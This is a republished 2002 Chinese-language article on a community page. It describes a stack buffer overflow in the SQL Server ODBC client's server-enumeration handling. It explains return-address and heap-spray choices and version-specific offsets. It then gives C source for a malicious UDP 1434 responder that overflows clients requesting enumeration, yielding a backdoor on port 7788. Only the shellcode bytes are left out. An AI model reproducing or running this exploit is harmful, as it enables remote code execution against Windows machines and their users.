【實戰】SQL SERVER ODBC堆疊溢位攻擊的實現。

來源:互聯網
上載者:User
SQL SERVER ODBC堆疊溢位攻擊的實現。

建立時間:2002-09-28
文章屬性:原創
文章提交:flashsky (flashsky1_at_sina.com)

關於ODBC溢出終於找到瞭解決之道。
由於原來一心只想把UNICODE代碼拷貝過來,由於諸多原因,會導致大量覆蓋地址,結果造成一些系統資料的被覆蓋,而無法達到執行代碼目的,後來我想,是否可以只僅僅覆蓋到返回地址,由返回地址執向我們其他的可以控制的地址呢。
仔細考察一下情況,我們資料存在的地址主要有:
1。RECVFROM接收的資料
2。分配的堆
3。拷貝的堆棧
由於堆棧只覆蓋到返回地址,我們就要再1和2上面動腦筋了,但1在拷貝到堆之後會清除掉,所以我們能利用的就只能是2了。
考察一下,發現其堆的分配,第一次一般在0x11cb00左右,那麼考慮多種情況和unicode可轉換的情況,我們可以設定成0x1240fe這個地址作為返回地址,只要保證堆在如下情況
[正常的我們或別人的應答包][我們覆蓋地址的包][空操作包][SHELLCODE]
                                              0x1240fe在空操作包之間
於是在堆疊溢位後,地址就指向了堆的這個位置。
就可以達到目的,選擇0x1240fe主要是考慮可能其他有很多或SQL SERVER不存在情況,可以調整。
但是在覆蓋地址以後,由於程式連續處理後面的包,會把我們的地址又覆蓋掉,因為後面空操作和shellcode結合在一起肯定是要大於溢出點的,所以覆蓋地址的包後面還要加0,這樣就讓程式處理到[我們覆蓋地址的包]就能返回回來了。
於是實驗,成功。但是發現其他機器不行,一檢查發現我的是打了SP3的,而其他的沒打,反組譯碼一下其程式,大致一樣,只是其溢出點不同,現在的是6000,而以前的是1036是覆蓋地址,修改了一下溢出點地址,OK,全部成功。下面這個就是對老新版本都相容的一個溢出攻擊示範程式,一直等待有人發出ODBC列舉請求就進行溢出攻擊,在我們公司網路上所有的WINDOWS的機器基本都能溢出成功,但由於該shellcode只在ODBC進程內,關閉了這個進程產生的後門就被關閉了,溢出後不關閉這個進程然後telnet host 7788就可以登陸上去,當然也可以寫成進程之外處理的,另外UNICODE編碼和UNICODE SHELLCODE略去,需要的話象ISNO請教。另外堆的地址第二次操作時會變化,第一次基本都是固定的,但一般用SQL SERVER ODBC列舉伺服器的用戶端基本都屬第一次,所以問題不是很大。在就是可能存在更多的sql server odbc的不同版本,其溢出的點可能是不一樣的,需要分析以後在地址溢出包對應的位置增加這些點,另外注意這個點的增加會導致其他點的位置變化,因為要被UNICODE編碼

再可以先在網路測試一下本地SQL SERVER的個數,調整一下溢出返回地址(要用unicode編碼)和發送空包的個數,使得能達到地方,不過基本都能搞定。

#define  DATABASE      0x61
#include <winsock2.h>
#include <windows.h>

void main()
{
    unsigned char buffer[7000];
    unsigned char bufhead[3]={5,0xfc,0xf};
    unsigned char buf1 []="ServerName;11111111;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;////11111111//pipe//sql//query;;";
    unsigned char buf2 [4092];
    unsigned char buf3 [1024];
    unsigned char sendbuf [0x2000];
    unsigned  char temp;
    unsigned  char widecode[9000];
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    HANDLE listener;
    int e;
    int i;
    int sendlen;
    DWORD a1;
    const int SNDBUF = 0;
    const int TCPNODELAY = TRUE;
    const int BROADCAST = TRUE;
    struct sockaddr_in udpfrom;
    int udpfromlen = sizeof(udpfrom);
    int n ;
    unsigned char shellend[4] = {0x4e,0x4e,0,0};

    unsigned char myshellcode[]=;unicode shellcode
    unsigned char shellcodehead[70]=;unicode解碼頭
    shellcodehead[66]=0;
    shellcodehead[67]=0;
    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d/n",WSAGetLastError());
        return FALSE;
    }

    if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d/n",WSAGetLastError());
        return FALSE;
    }
    
    sendlen = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellcodehead,-1,sendbuf,0x1000,NULL,NULL);
    sendlen--;
    memcpy(sendbuf+sendlen,myshellcode,sizeof(myshellcode)-1);
    sendlen=sendlen+sizeof(myshellcode)-1;
    i = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellend,-1,sendbuf+sendlen,0x10,NULL,NULL);
    sendlen = sendlen +i-1;    
    memset(buf2,0x4,4092);
    memset(buf3,0x4,1024);
    
    buf2[3001]=0x81; //本來應該是3000,但是由於照顧老版本加入的,使得多一位
    buf2[3002]=0xaa;
    buf2[3003]=0x12;//新版本的溢出點經過UNICODE編碼就成*0x1240fe,
    buf2[3004]=0;   //必須要加入,使得程式判斷為0導致不在處理後面的shellcode就直接返回而不破壞我們為此做的溢出覆蓋
    buf2[512]=0x2;  //防止老版本取用這個地址導致異常
    buf2[513]=0x3;
    buf2[518]=0x81;
    buf2[519]=0xaa;
    buf2[520]=0x12;//為照顧老版本的溢出點;經過UNICODE編碼就成*/

    //構造一個地址溢出包  //NOP+溢出地址

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1434);      
    addr_in.sin_addr.S_un.S_addr=inet_addr("192.168.0.60");
    n = bind(sock,(SOCKADDR*)&addr_in,sizeof(addr_in));
    if(n!=0)
    {
         e= WSAGetLastError();
         return -1;
    }
    for(;;)
    {
        n = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&udpfrom, &udpfromlen);    
        *((WORD *)(bufhead+1))=sizeof(buf1)-1;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,buf1,sizeof(buf1)-1);//進行時間延長,避免包被其他的打斷    
        for(i=0;i<10;i++)
        {
            n = sendto(sock, buffer,sizeof(buf1)+2, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
            Sleep(20);
        }
        
        Sleep(50);

        *((WORD *)(bufhead+1))=3005;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,buf2,3005);//發送地址覆蓋包
        n = sendto(sock, buffer,3008, 0,(struct sockaddr *)&udpfrom, &udpfromlen);        

        //寫入空操作串
        *((WORD *)(bufhead+1))=1024;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,buf3,1024);
        for(i=0;i<10;i++)
            n = sendto(sock, buffer,1027, 0,(struct sockaddr *)&udpfrom, &udpfromlen);        

        //寫入SHELLCODE
        *((WORD *)(bufhead+1))=4092;
        memcpy(buffer,bufhead,3);
        memcpy(buffer+3,sendbuf,4092);
        n = sendto(sock, buffer,4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);        
    }
    WSACleanup();
    return 0;
}

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.